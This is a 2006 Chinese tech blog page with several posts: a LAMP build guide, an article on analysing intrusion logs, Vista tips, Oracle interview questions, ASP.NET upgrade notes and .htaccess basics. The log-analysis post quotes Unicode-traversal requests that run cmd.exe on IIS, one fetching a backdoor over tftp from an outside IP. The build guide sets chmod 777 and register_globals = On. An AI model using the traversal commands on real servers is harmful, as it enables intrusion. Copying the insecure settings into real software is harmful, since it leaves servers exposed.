Redhat+Apache+Mysql+ PHP配置

0

分类 : 技术文摘 | 发表时间 16-04-2006

Ps:不知道有哪位移植通达oa至linux成功的,这个方案可以先打个基础,有成功的,给打个招呼


Linux系统的安装我就不讲了,这是基本功,其实这篇文章在类似Redhat的其他linux也应该通用,大家只要掌握我提供的方法就行。记得安装Redhat9。0的时候不要安装系统默认的apache,mysql和php以及相关的软件。已经安装的请用rpm -e * 删除已经安装的包。
1.安装Mysql3.23.58
其实老实说直接安装Mysql官方网站提供的rpm包也是一个比较可行的办法,他的官方网站的rpm包的提供基本跟tar包发行是同步的,这点我比较喜欢,至少安装rpm包的在后面的调试中不会出现mysql库文件找不到的情况。但这里还是有必要讲一下自定义安装的步骤,毕竟网友自定义安装的还说挺多的。
软件获取:http://www.mysql.com/downloads/index.html
安装步骤:
tar zxvf mysql-3.23.58.tar.gz
cd mysql-3.23.58
./configure –prefix=/usr/local/mysql –sysconfdir=/etc –localstatedir=/var/lib/mysql
make
make install
#prefix=/usr/local/mysql mysql安装的目标目录
#sysconfdir=/etc my.ini配置文件的路径
#localstatedir=/var/lib/mysql 数据库存放的路径
安装完以后要初始化数据库,当然你是升级的话不用做这步;
/usr/local/mysql/bin/mysql_install_db

如果系统没有mysql这个用户的话,最好做以下这步:
useradd -M -o -r -d /var/lib/mysql -s /bin/bash -c “MySQL Server” -u 27 mysql
然后我启动mysql
/usr/local/mysql/bin/safe_mysqld &
ok,先看看mysql能否正常工作
mysql -uroot mysql
一般情况下都是不能正常链接数据库,错误提示一般为:
ERROR 2002: Can”t connect to local MySQL server through socket ”/var/lib/mysql/mysql.sock” (2)
其实网上大家问的最多的都是整个问题,说什么链接不到mysqld.sock,其实大家不妨看看mysql的错误日志就明白怎么回事,我这里的错误日志是在
/var/lib/mysql/*.err 你会发现mysql只所以不能启动,是因为/var/lib/mysql的权限不允许mysql服务访问,英文mysql默认是调用mysql用户来启动服务的,好了,既然知道是什么原因找到不能启动,那就简单了。我们只要
chown -R mysql:mysql /var/lib/mysql 就行,如果还是启动不了,再慢慢调试权限,反正一般启动不了都是权限的问题。
如果大家还是不能启动不了的话,那就用我的比较繁琐的权限的设置,反正我每次都是这么做的,一般不会有问题,见下:
chown -R root /usr/local/mysql
chgrp -R mysql /usr/local/mysql
chown -R root /usr/local/mysql/bin
chgrp -R mysql /usr/local/mysql/bin
chgrp -R mysql /var/lib/mysql
chmod 777 /var/lib/mysql
chown -R root /var/lib/mysql/mysql
chgrp -R mysql /var/lib/mysql/mysql
chmod 777 /var/lib/mysql/mysql
chown -R root /var/lib/mysql/mysql/*
chgrp -R mysql /var/lib/mysql/mysql/*
chmod 777 /var/lib/mysql/mysql/*
chmod 777 /usr/local/mysql/lib/mysql/libmysqlclient.a
做完上面的步骤,然后把你编译目录的一个脚本COPY过去
cp support-files/mysql.server /etc/rc.d/init.d/mysqld
chkconfig –add mysqld
用ntsysv设置使mysql每次启动都能自动运行。
好了,至此mysql安装完毕,你可以这样起动你的mysql服务
/etc/rc.d/init.d/mysqld start
下面这步比较关键,
ln -s /usr/local/mysql/lib/mysql /usr/lib/mysql
ln -s /usr/local/mysql/include/mysql /usr/include/mysql
大家可以不做这步,大可以在编译其他软件的时候自定义myslq的库文件路径,但我还是喜欢把库文件链接到默认的位置,这样你在编译类似PHP,Vpopmail等软件时可以不用指定mysql的库文件地址。
2.安装Apache1.3.29。我没有选择安装Apache2.0是我对他还是不放心,因为网上最新公布的apache的漏洞基本上是针对2.0,当然大家可以自己选择安装相应的版本。我这里讲的都是采用DSO动态编译的方法编译Apache.
至于有关apache的编译方法,可以参考我以前的文章《apache的静态/动态编译在apache+php+mysql的应用》 http://www.5ilinux.com/apache01.html
软件获取:http://httpd.apache.org/
tar zvxf apache_1.3.29.tar.gz
cd apache_1.3.29
修改src/include/httpd.h 增大最大线程数
#define HARD_SERVER_LIMIT 256
改成
#define HARD_SERVER_LIMIT 2560
保存退出编译apache
./configure –prefix=/usr/local/apache –enable-module=so –enable-module=rewrite –enable-shared=max –htdocsdir=/var/www &&
make &&
make install
#这里我们通过enable-module参数告诉设置脚本,我们需要启动so和rewrite模块,so模块是用来提DSO支持的apache核心模块,而rewrite模块则是用意实现地址重写的模块,由于rewrite模块需要DBM支持,如果在初次安装时没有编译进apache,以后需要用到时需要重新编译整个apache才可以实现。为此除非你可以确定以后不会用到rewrite模块,否则还是建议你在第一次编译的时候把rewrite模块编译好。
enable-shared=max 这个参数的作用时编译apache时,把除了so以外的所有apache的标准模块都编译成DSO模块。而不是编译进apache核心内。
好了安装apache很简单的哦,启动apache看看
/usr/local/apache/bin/apachectl start
然后用ie看http://你的服务器地址。应该能看到熟悉的apache羽毛标志。
3.安装PHP4.3.4
软件获取:http://www.php.net/downloads.php
tar zvxf php-4.3.4.tar.gz
cd php-4.3.4
./configure \
–prefix=/usr/local/php \
–with-mysql=/usr/local/mysql \
–enable-force-cgi-redirect \
–with-freetype-dir=/usr \
–with-png-dir=/usr \
–with-gd –enable-gd-native-ttf \
–with-ttf \
–with-gdbm \
–with-gettext \
–with-iconv \
–with-jpeg-dir=/usr \
–with-png \
–with-zlib \
–with-xml \
–enable-calendar \
–with-apxs=/usr/local/apache/bin/apxs
make
make install
#我这里由于服务器需要用到GD库,所以加了一些支持GD的编译参数,GD直接用了redhat自带的GD库,大家没有安装的话可以从安装盘安装,注意除了安装GD以外,还要安装libjpeg,libpng等库文件。另外–with-mysql=/usr/local/mysql指向你安装mysql的路径。–with-apxs指向apache的apxs文件的路径。
vi /usr/local/apache/conf/httpd.conf
查找
在此范围添加
AddType application/x-httpd-php .php
AddType application/x-httpd-php-source .phps
然CPOPY PHP的配置文件
cp ../php4.3.4/php.ini.dist /usr/local/php/lib/php.ini
修改php.ini文件
register_globals = On

ok!重新启动一下apache服务器
/usr/local/apache/bin/apachectl restart
然后写个php测试页info.php:内容如下
phpinfo();
?>
正常的话,应该能看到php的信息了,恭喜你的Apche+Mysql+PHP安装成功。

快速掌握典型入侵日志分析

0

分类 : 系统安全 | 发表时间 16-04-2006

如今各式各样的Windows漏洞层出不穷,五花八门的入侵工具更是令人眼花缭乱,稍微懂点网络知识的人都可以利用各种入侵工具进行入侵,这可给我们的网管带来了很大的麻烦,虽然经过精心配置的服务器可以抵御大部分入侵,但随着不断新出的漏洞,再高明的网管也不敢保证一台务器长时间不会被侵入,所以,安全配置服务器并不能永远阻止黑客入侵,而如何检测入侵者行动以保证服务器安全性就在这样的情况下显得非常重要。

  日志文件作为微软Windows系列操作系统中的一个特殊文件,在安全方面具有无可替代的价值。它每天为我们忠实地记录下系统所发生一切事件,利用它可以使系统管理员快速对潜在的系统入侵作出记录和预测,但遗憾的是目前绝大多数的人都忽略了它的存在,反而是因为黑客们光临才会使我们想起这个重要的系统日志文件,很有讽刺意味。

  在这里我们就不去讲什么日志文件的默认位置、常见备份方法等基本技巧了,这样的东西黑防以前讲得很清楚了,大家可以翻看黑防以前的杂志学习这些东西,我们今天来看看如何分析常见的日志文件吧!

  1.FTP日志分析

  FTP日志和WWW日志在默认情况下,每天生成一个日志文件,包含了该日的一切记录,文件名通常为ex(年份)(月份)(日期)。例如ex040419,就是2004年4月19日产生的日志,用记事本可直接打开,普通的有入侵行为的日志一般是这样的:

#Software: Microsoft Internet Information Services 5.0(微软IIS5.0)
#Version: 1.0 (版本1.0)
#Date: 20040419 0315 (服务启动时间日期)
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administator 331(IP地址为127.0.0.1用户名为administator试图登录)
0318 127.0.0.1 [1]PASS – 530(登录失败)
032:04 127.0.0.1 [1]USER nt 331(IP地址为127.0.0.1用户名为nt的用户试图登录)
032:06 127.0.0.1 [1]PASS – 530(登录失败)
032:09 127.0.0.1 [1]USER cyz 331(IP地址为127.0.0.1用户名为cyz的用户试图登录)
0322 127.0.0.1 [1]PASS – 530(登录失败)
0322 127.0.0.1 [1]USER administrator 331(IP地址为127.0.0.1用户名为administrator试图登录)
0324 127.0.0.1 [1]PASS – 230(登录成功)
0321 127.0.0.1 [1]MKD nt 550(新建目录失败)
0325 127.0.0.1 [1]QUIT – 550(退出FTP程序)

  从日志里就能看出IP地址为127.0.0.1的用户一直试图登录系统,换了四次用户名和密码才成功,管理员立即就可以得知这个IP至少有入侵企图!而他的入侵时间、IP地址以及探测的用户名都很清楚的记录在日志上。如上例入侵者最终是用Administrator用户名进入的,那么就要考虑此用户名是不是密码失窃?还是被别人利用?接下来就要想想系统出什么问题了。

  2.WWW日志分析

  WWW服务同FTP服务一样,产生的日志也是在%systemroot%\sys tem32\LogFiles\W3SVC1目录下,默认是每天一个日志文件。这里需要特别说明一下,因为Web的日志和其他日志不同,它的分析要细致得多,需要管理员有丰富的入侵、防护知识,并且要足够的细心,不然,很容易遗漏那种很简单的日志,而通常这样的日志又是非常关键的。由于我们不可能一个一个分析,所以这里举个简单例子:

#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20040419 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20040419 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20040419 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)

  通过分析第六行,可以看出2004年5月19日,IP地址为192.168.1.26的用户通过访问IP地址为192.168.1.37机器的80端口,查看了一个页面iisstart.asp,这位用户的浏览器为compatible;+MSIE+5.0;+Windows+98+DigExt,有经验的管理员就可通过安全日志、FTP日志和WWW日志来确定入侵者的IP地址以及入侵时间。

  对现在非常常见的SQL注入式攻击,通过对put、get的检查,也可以大概判断是那个页面出了问题,从而修补。

  3.HTTPD事务日志的分析

  Microsoft的IIS 5自公布到现在,被黑客利用的漏洞多不胜数,像.ida/.idq、unicode、WebDavx3和一些未知的漏洞,我们分析日志的目的就是为了分析黑客入侵的行为,对于没有打好补丁包的系统被黑客成功入侵的日志记录分别对应如下。为了给大家介绍一个比较醒目的介绍,专门配置了个“古老”的服务器,用旧漏洞给大家做个演示,很容易触类旁通就懂其它了。

  (1)unicode漏洞入侵日志记录

  这个是个非常经典的漏洞了,要找这样的服务器估计得去国外慢慢找了,但是因为它的日志是最经典的一个,所以我们这里特别拿它来做个示范。

  我们打开IIS5的Web服务的日志文件,日志文件默认位置在%systemroot%\system32\LogFiles\文件夹下,如图1所示是一个典型的Unicode漏洞入侵行为的日志记录,对于正常的Web访问,是通过80端口用GET命令获取Web数据,但通过非法的字符编码可绕过字符验证而得到不应该得到的信息。但补上相应的补丁可堵上此漏洞。如图一所示。

  我们配合入侵来看下这样的记录:通过下面的编码我们在入侵的时候可以查看目标机的目录文件:

GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200

  则日志中会记录下此访问行为:

2004-04-19 08:47:47 192.168.0.1 – 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+dir 200 -

  看到了吗?我们的日志中记录地一清二楚,来自192.168.0.1的攻击者查看我们的目录。下面一行是向我们的机器传送后门程序的日志记录:

2004-04-19 08:47:47 192.168.0.1 – 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:\httpodbc.dll
502 –

  看到了吧?记录非常详细的,系统里面那个程序在响应都记录了下来,这样我们分析入侵行为就好办了。

  (2)WebDavx3远程溢出日志记录

  过去一段时间有名的Wevdavx3漏洞是应用最广泛的,如果系统遭受了此远程溢出的攻击行为,则日志记录如图二所示。

2004-04-19 07:20:13 192.168.0.218 – 192.168.0.218 80 LOCK
/AAAAA……

  这表示我们的Web服务受到了来自192.168.0.218的攻击,并锁定(即关闭)了WEB服务,后面的一些乱码字符是在溢出攻击时使用的偏移位猜过程。

  上面的几种日杂都记录了有入侵行为的IP地址,但此IP地址说不定就是攻击者使用了跳板,也就是说此IP很可能是“肉鸡”而不是攻击者的IP,遇到这样的情况,我们再查看其他日志文件,还是有可能追查出攻击者的位置的,但这个就完全靠管理员的经验了。

  4.日志文件的移位保护

  通过上面的几个方法,大家应该可以检测普通的系统攻击了,但话说回来,如果上面的攻击任何一个成功了,那现在我们都看不到日志了,早被入侵者清空了,所以,为了防患于未然,我们还是针对常见的删除日志的方法,把日志挪挪吧。

  好多文章介绍对事件日

Win Vista疑难杂症诊解

0

分类 : 业界动态 | 发表时间 07-04-2006

·切勿乱投医 Win Vista疑难杂症诊解(1)
  疑难杂症之一:安装时提示出错   

  如果你是通过从网络获取Windows Vista的安装文件,但安装时提示出错“Setup was unable to locate a locally holding tempary setup”,然后就无法继续了,这是怎么一回事呢?  

  原来,从Windows Vista开始,微软将采用DVD介质提供安装光盘,假如你是微软的测试员或MSDN用户,那么将可以得到这张DVD安装光盘,用这张光盘直接引导系统即可启动安装程序。但很多朋友都不具备这个条件,因此只能自行刻录到DVD盘片上。  

  如果你没有DVD刻录机,那么只能借助虚拟光驱来帮助,假如使用WinISO、WinRAR直接释放,那么就会出现图才所说的错误提示了,正确的做法是使用Alcohol 120%、Daemon Tools对ISO镜像文件进行虚拟,你不需要担心重启后无法继续的问题。  

  小提示:假如是在Windows Vista中使用虚拟光驱,那么只能安装Virtual Vlone Drive或3.11版本的DAEMON Tools,其他版本都不行,否则会提示“An error occurred while preparing the install drive”。  

  疑难杂症之二:让硬件各就各位

  毕竟目前我们所能获得的Windows Vista还只是一个不成熟的测试版本,虽然硬件厂商已做了大量的工作,而且Windows Vista据说包含了6800个矢量显示驱动模型,但仍然可能存在各种各样的兼容性问题。很多朋友安装Windows Vista后,会发现设备管理器中出现一些黄色的问号,例如网卡无法被系统所识别、无开机音乐、安装了最新版本的显卡驱动程序后Glass效果反而消失等问题。  

  我们首先应该使用Windows Vista提供的硬件驱动程序向导来安装驱动程序,双击桌面上的“Install Supplemental Driveer”图标,将路径指向安装光盘中的Drivers文件夹,按照提示操作即可,理论上应该能够解决大部分硬件问题。如果设备管理器中仍然有显示为黄色问号的项目,你可以尝试问相应设备的厂商站点或驱动之家下载最新版本的驱动程序。
·切勿乱投医 Win Vista疑难杂症诊解(2)
  疑难杂症之三:为什么无法使用3D界面

  有些安装了5231、5259、5270这些版本的朋友反映,现在按下“Win+空格键”后却并没有弹出5219、5211版本中的3D界面,难道是被取消了吗?当然不是,这个版本只是对快捷键进行了一些小小的更改而已,使用“Win+Tab”组合键即可继续体会令人心迷的3D界面。  

  从Build 5231这个版本开始,Windows Vista对硬件的支持已经较以前的版本要好的多,已经完全解决了开机时无法发声的问题,但关机时仍然无声;至于显卡和显示器的驱动程序,建议使用Windows Vista自带的驱动程序,显卡安装Microsoft Corporation驱动程序,显示器安装Geneic PnP Moooonitor驱动程序(图1),千万不要安装所谓的最新版本驱动程序,否则就可能导致无法激活Aero Glass效果。


  疑难杂症之四:ADSL无法上网

  很遗憾,如果你使用的是不带路由功能的ADSL Modem,那么将无法访问Internet,原因是由于Windows Vista 5231并没有内置PPPOE协议,不过奇怪的是小区宽带用户和打开了路由功能的ADSL Modem仍然可以正常上网。  

  解决办法有两个:一是添置路由器,二是仍旧使用5231以前的版本。

·切勿乱投医 Win Vista疑难杂症诊解(3)
  疑难杂症之五:平板功能没有手写输入板

  我们知道Windows Vista的测试版本中已经集成了Media Center、Tablet PC两大组件,前者可以正常使用。但后者虽然在菜单中提供了InkBall(游戏)、Sticky Notes(便笺本)等组件,不过默认设置下却并未激活手写输入面板,这样就等于是摆设了。  

  解决的办法很简单,在Windows Vista系统中找到\\Program Files\\Common Files\\Microsoft Shared\\ink\\文件夹下的TabTip.exe,双击运行,这时候可以看到屏幕最左侧弹出了一个时隐时现的竖条,单击这个竖条即可激活手写输入面板(图2),现在我们就可以用鼠标来代替手写板了,而且默认的就是中文输入。


  疑难杂症之六:我的系统激活了吗

  从Windows XP开始,Windows操作系统都需要激活后才可以长久使用,否则只能试用14天。Windows Vista也不例外,激活提示转移到了系统属性的常规选项页(System Properities/General),这里增加了一个“Activation”的区域,它提示着还能使用的天数(图3)。


  俗话说的好“病急乱投医”,有些朋友使用了网上提供的破解补丁,但并没有真正激活,只是绕过了激活机制而已,如果去运行“slui.exe”命令进行激活,系统会提示出错。其实,5219、5231版本都允许参加测试的用户直接激活,在联网情况下,我们只需要直接点击“Click here to activate Windows Now”,稍候片刻即可正常激活(图4)。

  如果你还有所怀疑,可以在运行框中输入“winver.exe”命令,便可清楚的看到可以使用的最终截止日期(图5),也就是说你可以使用Widnows Vista一直至2006年6月1日止。不过,如果你使用的是5259或5270版本,那么除了Server版本外,除非你有微软授予的测试序列号,否则都将无法激活。


·切勿乱投医 Win Vista疑难杂症诊解(5)
  疑难杂症之七:“Run”命令到哪里去了

  假如你使用的是5259以后的版本,那么会发现在开始菜单的底部将无法找到“Run”命令,虽然可以使用“Win+R”组合键打开运行对话框,但有没有让其永远驻留在开始菜单中呢?  

  当然有办法,右击开始菜单或任务栏的空白处,选择“Taskbar and Start Menu Properties”,打开“Start Menu→Customize”窗口,在这里选中“Run Command”复选框,确认后就可以让“Run”命令再次出现在开始菜单中(图6),以后使用就方便多了。


  疑难杂症之八:成就超级管理员之梦

  在安装Windows Vista的过程中,安装向导会指导用户创建一个管理员级别的账户,但由于从5231版本开始增加的UAP(User Account Protection,用户账户保护)的影响,实际上这个账户所拥有的权限非常小,最明显的例子就是当用户在执行比较重要的操作时,系统都会弹出一个对话框要求用户再次确认,虽然不影响具体的操作,但每次都需要进行确认,这就很麻烦了。

  有一个好办法可以成就我们的超级管理员之梦,首先请注销系统,然后使用“Administrator”账户登录系统,其初始密码为空,进入系统后就再也不会弹出令人心烦的确认框。不过,假如你需要删除以前创建的账户,那么仍然需要在运行对话框中输入“rundll32 netplwiz.dll,UsersRunDll”命令才行。

Oracle面试问题-技术篇

0

分类 : 系统安全 | 发表时间 28-03-2006

Oracle面试问题-技术篇
这也许是你一直期待的文章,在关注这部分技术问题的同时,请务必阅读有关面试中有关个人的问题和解答。这里的回答并不是十分全面,这些问题可以通过多个角度来进行解释,也许你不必在面试过程中给出完全详尽的答案,只需要通过你的解答使面试考官了解你对ORACLE概念的熟悉程度。

  1.解释冷备份和热备份的不同点以及各自的优点
  解答:热备份针对归档模式的数据库,在数据库仍旧处于工作状态时进行备份。而冷
备份指在数据库关闭后,进行备份,适用于所有模式的数据库。热备份的优点在于当备份
时,数据库仍旧可以被使用并且可以将数据库恢复到任意一个时间点。冷备份的优点在于
它的备份和恢复操作相当简单,并且由于冷备份的数据库可以工作在非归档模式下,数据库
性能会比归档模式稍好。(因为不必将archive log写入硬盘)
  2.你必须利用备份恢复数据库,但是你没有控制文件,该如何解决问题呢?
  解答:重建控制文件,用带backup control file 子句的recover 命令恢复数据库。

  3.如何转换init.ora到spfile?
  解答:使用create spfile from pfile 命令.
  4.解释data block , extent 和 segment的区别(这里建议用英文术语)
  解答:data block是数据库中最小的逻辑存储单元。当数据库的对象需要更多的物理
存储空间时,连续的data block就组成了extent . 一个数据库对象拥有的所有extents被
称为该对象的segment.
  5.给出两个检查表结构的方法
  解答:1.DESCRIBE命令
     2.DBMS_METADATA.GET_DDL 包
  6.怎样查看数据库引擎的报错
  解答:alert log.

7.比较truncate和delete 命令
  解答:两者都可以用来删除表中所有的记录。区别在于:truncate是DDL操作,它移动
HWK,不需要rollback segment .而Delete是DML操作, 需要rollback segment 且花费较长
时间.
  8.使用索引的理由
  解答:快速访问表中的data block
  9.给出在STAR SCHEMA中的两种表及它们分别含有的数据
  解答:Fact tables 和dimension tables. fact table包含大量的主要的信息而dime
nsion tables 存放对fact table 某些属性描述的信息
  10.FACT Table上需要建立何种索引?
  解答:位图索引 (bitmap index)
  11. 给出两种相关约束?
  解答:主键和外键
  12. 如何在不影响子表的前提下,重建一个母表
  解答:子表的外键强制实效,重建母表,激活外键
  13. 解释归档和非归档模式之间的不同和它们各自的优缺点
  解答:归档模式是指你可以备份所有的数据库 transactions并恢复到任意一个时间点
。非归档模式则相反,不能恢复到任意一个时间点。但是非归档模式可以带来数据库性能
上的少许提高.
14. 如何建立一个备份控制文件?
  解答:Alter database backup control file to trace.
  15. 给出数据库正常启动所经历的几种状态 ?
  解答:STARTUP NOMOUNT – 数据库实例启动
     STARTUP MOUNT – 数据库装载
     STARTUP OPEN – 数据库打开
  16. 哪个column可以用来区别V$视图和GV$视图?
  解答:INST_ID 指明集群环境中具体的 某个instance 。
  17. 如何生成explain plan?
  解答:运行utlxplan.sql. 建立plan 表
     针对特定SQL语句,使用 explain plan set statement_id = ‘tst1′ into pl
an_table
     运行utlxplp.sql 或 utlxpls.sql察看explain plan
  18. 如何增加buffer cache的命中率?
  解答:在数据库较繁忙时,适用buffer cache advisory 工具,查询v$db_cache_adv
ice.如果有必要更改,可以使用 alter system set db_cache_size 命令
  19. ORA-01555的应对方法?
  解答:具体的出错信息是snapshot too old within rollback seg , 通常可以通过增
大rollback seg来解决问题。当然也需要察看一下具体造成错误的SQL文本
  20. 解释$ORACLE_HOME和$ORACLE_BASE的区别?
  解答:ORACLE_BASE是oracle的根目录,ORACLE_HOME是oracle产品的目录。
21. 如何判断数据库的时区?
解答:SELECT DBTIMEZONE FROM DUAL;

22. 解释GLOBAL_NAMES设为TRUE的用途
解答:GLOBAL_NAMES指明联接数据库的方式。如果这个参数设置为TRUE,
在建立数据库链接时就必须用相同的名字连结远程数据库

23。如何加密PL/SQL程序?
解答:WRAP

24. 解释FUNCTION,PROCEDURE和PACKAGE区别
解答:function 和procedure是PL/SQL代码的集合,通常为了完成
一个任务。procedure 不需要返回任何值而function将返回一个值
在另一方面,Package是为了完成一个商业功能的一组function和proceudre
的集合

25. 解释TABLE Function的用途
解答:TABLE Function是通过PL/SQL逻辑返回一组纪录,用于
普通的表/视图。他们也用于pipeline和ETL过程。

26. 举出3种可以收集three advisory statistics
解答:Buffer Cache Advice, Segment Level Statistics, Timed Statistics

27. Audit trace 存放在哪个oracle目录结构中?
解答:unix $ORACLE_HOME/rdbms/audit
Windows the event viewer

28. 解释materialized views的作用
解答:Materialized views 用于减少那些汇总,集合和分组的
信息的集合数量。它们通常适合于数据仓库和DSS系统。

29. 当用户进程出错,哪个后台进程负责清理它
解答: PMON

30. 哪个后台进程刷新materialized views?
解答:The Job Queue Processes.

31. 如何判断哪个session正在连结以及它们等待的资源?
解答:V$SESSION / V$SESSION_WAIT

32. 描述什么是 redo logs
解答:Redo Logs 是用于存放数据库数据改动状况的物理和逻辑结构。
可以用来修复数据库.

33. 如何进行强制LOG SWITCH?
解答:ALTER SYSTEM SWITCH LOGFILE;

34. 举出两个判断DDL改动的方法?
解答:你可以使用 Logminer 或 Streams

35. Coalescing做了什么?
解答:Coalescing针对于字典管理的tablespace进行碎片整理,将
临近的小extents合并成单个的大extent.


36. TEMPORARY tablespace和PERMANENT tablespace 的区别是?
解答:A temporary tablespace 用于临时对象例如排序结构而 permanent tablespaces
用来存储那些’真实’的对象(例如表,回滚段等)


37. 创建数据库时自动建立的tablespace名称?
解答:SYSTEM tablespace.

38. 创建用户时,需要赋予新用户什么权限才能使它联上数据库。
解答:CONNECT

39. 如何在tablespace里增加数据文件?
解答:ALTER TABLESPACE
ADD DATAFILE SIZE

40. 如何变动数据文件的大小?
解答:ALTER DATABASE DATAFILE RESIZE ;

41. 哪个VIEW用来检查数据文件的大小?
解答: DBA_DATA_FILES

42. 哪个VIEW用来判断tablespace的剩余空间
解答:DBA_FREE_SPACE

43. 如何判断谁往表里增加了一条纪录?
解答:auditing

44. 如何重构索引?
解答: ALTER INDEX REBUILD;

45. 解释什么是Partitioning(分区) 以及它的优点。
解答:Partition将大表和索引分割成更小,易于管理的分区。


46. 你刚刚编译了一个PL/SQL Package但是有错误报道,如何显示出错信息?
解答:SHOW ERRORS r/>
47. 如何搜集表的各种状态数据?
解答: ANALYZE
The ANALYZE command.

48. 如何启动SESSION级别的TRACE
解答: DBMS_SESSION.SET_SQL_TRACE
ALTER SESSION SET SQL_TRACE = TRUE;

49. IMPORT和SQL*LOADER 这2个工具的不同点
解答:这两个ORACLE工具都是用来将数据导入数据库的。
区别是:IMPORT工具只能处理由另一个ORACLE工具EXPORT生成
的数据。而SQL*LOADER可以导入不同的ASCII格式的数据源


50。 用于网络连接的2个文件?
解答: TNSNAMES.ORA and SQLNET.ORA
black_snail

Asp.net 1.0 升级至 ASP.NET 2.0十个问题总结

0

分类 : 心情随笔 | 发表时间 23-03-2006

这几天升级了一下原来的1.1项目,发现了一些问题,总结一下放在这里,也提醒还没有来得及升级或准备升级的朋友,升级的过程中少走弯路,少浪费时间。
  1.Global.asax文件的处理形式不一样
  转化后将出现错误,在vs2003中Global.asax具有代码后置文件,2.0下, 将代码分离文件移到 App_Code 目录下,以便使其自动变为可通过应用程序中的任意 ASP.NET 页面访问。“Code-behind”属性将从 ASAX 文件的指令中删除。vs2005则直接把代码写在Global.asax。所以需要删除转化过来的文件重新加入,并把相应的代码copy过来。
  2.2.0没有了项目文件。
   在 1.1 应用程序中,项目文件包含生成设置、对外部程序集的引用以及项目中的文件列表。而在 2.0 应用程序中,不再需要版本设置和文件列表,因为 Web 项目目录下的所有文件都被视为 Web 项目的一部分。
  3.代码分离模式。
  在 ASP.NET 1.1 中,代码分离模式使内容(例如 test.aspx)与代码(例如 test.aspx.cs)分离。内容页面从代码分离页面继承而来,代码分离页面包含用户和设计器生成的代码。
  ASP.NET 2.0 通过使用局部类来增强代码分离模式,使用 partial 关键字可以将单个类的代码分隔到两个独立的文件中。它允许一个类跨越多个文件。在新的代码分离模式中,内容页面从编译的类继承而来,它由相应的代码分离页面以及自动生成的存根文件组成,存根文件用于为内容页面中使用的控件定义字段声明。此项更改使自动生成的代码与用户的代码分离,并且使代码分离页面显著变小且更加简洁。局部类结构还降低了由于编辑设计器生成的代码而不小心破坏页面的风险。
  如果出错请检查是否有partial 关键字,否则添加 partial 关键字。
  4.语法检查。
  asp.net1.1程序,编译时不会检查aspx、aspcx等文件中的语法错误,而vs2005编译时会检查项目中所有的aspx、aspcx等文件中的语法,所以如果有语法错误,会导致编译无法通过。
  5.控件声明。
  如果在 .aspx 页面上声明了所有控件,则从代码分离文件中删除所有控件声明,否则报错:重复定义。
  6.(仅限于 C#)将事件挂钩代码从代码分离文件的 InitialzeComponent 函数移到 .aspx 页面中。
  请注意,此操作不适用于自动调用的事件,包括 Page_Init、Page_Load、Page_DataBind、Page_PreRender、Page_Unload、Page_Error、Page_AbortTransaction 和 Page_CommitTransaction。
  7. 部署方式(预编译、完整编译、可更新站点等)。
  在 1.x 中,Web 应用程序是作为一个大型程序集而预编译和部署的。内容页面(*.aspx)不在服务器上编译,但可以在服务器上编辑。借助新的页面编译模式和目录结构,您就可以使用多种不同的配置来部署 ASP.NET 2.0 应用程序。一种情况,您可以预编译所有的 ASPX 页面并部署由完全编译好的程序集组成的 Web 应用程序。在这种模式下,您不能在服务器上轻松地更改该应用程序。另一种情况,您可以在不预编译任何代码的情况下部署应用程序。在这种配置下,您可以直接在服务器上更改该应用程序中的 .aspx 页面、代码分离文件或其他任何代码。当用户请求服务器上的页面时,页面将被动态编译。
  8.将 .aspx 页面中的所有 CodeBehind 属性更改为 CodeFile 属性
  CodeBehind: 指定包含与页关联的类的已编译文件的名称。该属性不能在运行时使用。
提供此属性是为了与以前版本的 ASP.NET 的兼容,以实现代码隐藏功能。在 ASP.NET 2.0 版中,应改用 CodeFile 属性指定该源文件的名称,同时使用 Inherits 属性指定该类的完全限定名称。
  CodeFile
  指定指向页引用的代码隐藏文件的路径。此属性与 Inherits 属性一起使用可以将代码隐藏源文件与网页相关联。此属性仅对编译的页有效。
  9.将所有独立的代码文件和AssemblyInfo.cs都被移到 App_Code 目录下。
  但运行转换向导之后,您可能会发现某些代码分离文件(例如,*.aspx.cs 或 *.ascx.vb)被移到 App_Code 目录下。这表明代码分离文件的内容页面含有格式不正确的 Codebehind 指令,并且没有进行正确设置。也就是说,转换向导不能确定该代码分离文件是否实际绑定到某个特定的 .aspx 页面。
  10.Web 服务
  在 ASP.NET 1.x 中,Web 服务 (.asmx) 自动拆分到空白标题页面 (.asmx) 和包含实际方法的代码分离文件中。
  Asp.net2.0下:
  • 将代码分离类移到 App_Code 目录下,以便使其自动变为可通过应用程序中的任意 ASP.NET 页面访问。
• 更改 .asmx 文件中的 CodeBehind 属性,以便指向新位置。
(请注意,代码分离文件不使用局部类,因此继续使用 CodeBehind 属性。)
• 将所有的默认、Friend 和 Internal 范围的声明更改为 Public。
  在1.1到2.0的升级过程中,你遇到过什么样的问题呢?可以写下来让大家共同学习,少走弯路。

htaccess文件使用大全

0

分类 : 美文美景 | 发表时间 17-03-2006

Apache系统中的.htaccess文件(或者”分布式配置文件”提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

  子目录中的指令会覆盖更高级目录或者主服务器配置文件中的指令。

  .htaccess必须以ASCII模式上传,最好将其权限设置为644。

  错误文档的定位

  常用的客户端请求错误返回代码:
  401 Authorization Required
  403 Forbidden
  404 Not Found
  405 Method Not Allowed
  408 Request Timed Out
  411 Content Length Required
  412 Precondition Failed
  413 Request Entity Too Long
  414 Request URI Too Long
  415 Unsupported Media Type

  常见的服务器错误返回代码:
  500 Internal Server Error

  用户可以利用.htaccess指定自己事先制作好的错误提醒页面。一般情况下,人们可以专门设立一个目录,例如errors放置这些页面。然后再.htaccess中,加入如下的指令:

  ErrorDocument 404 /errors/notfound.html
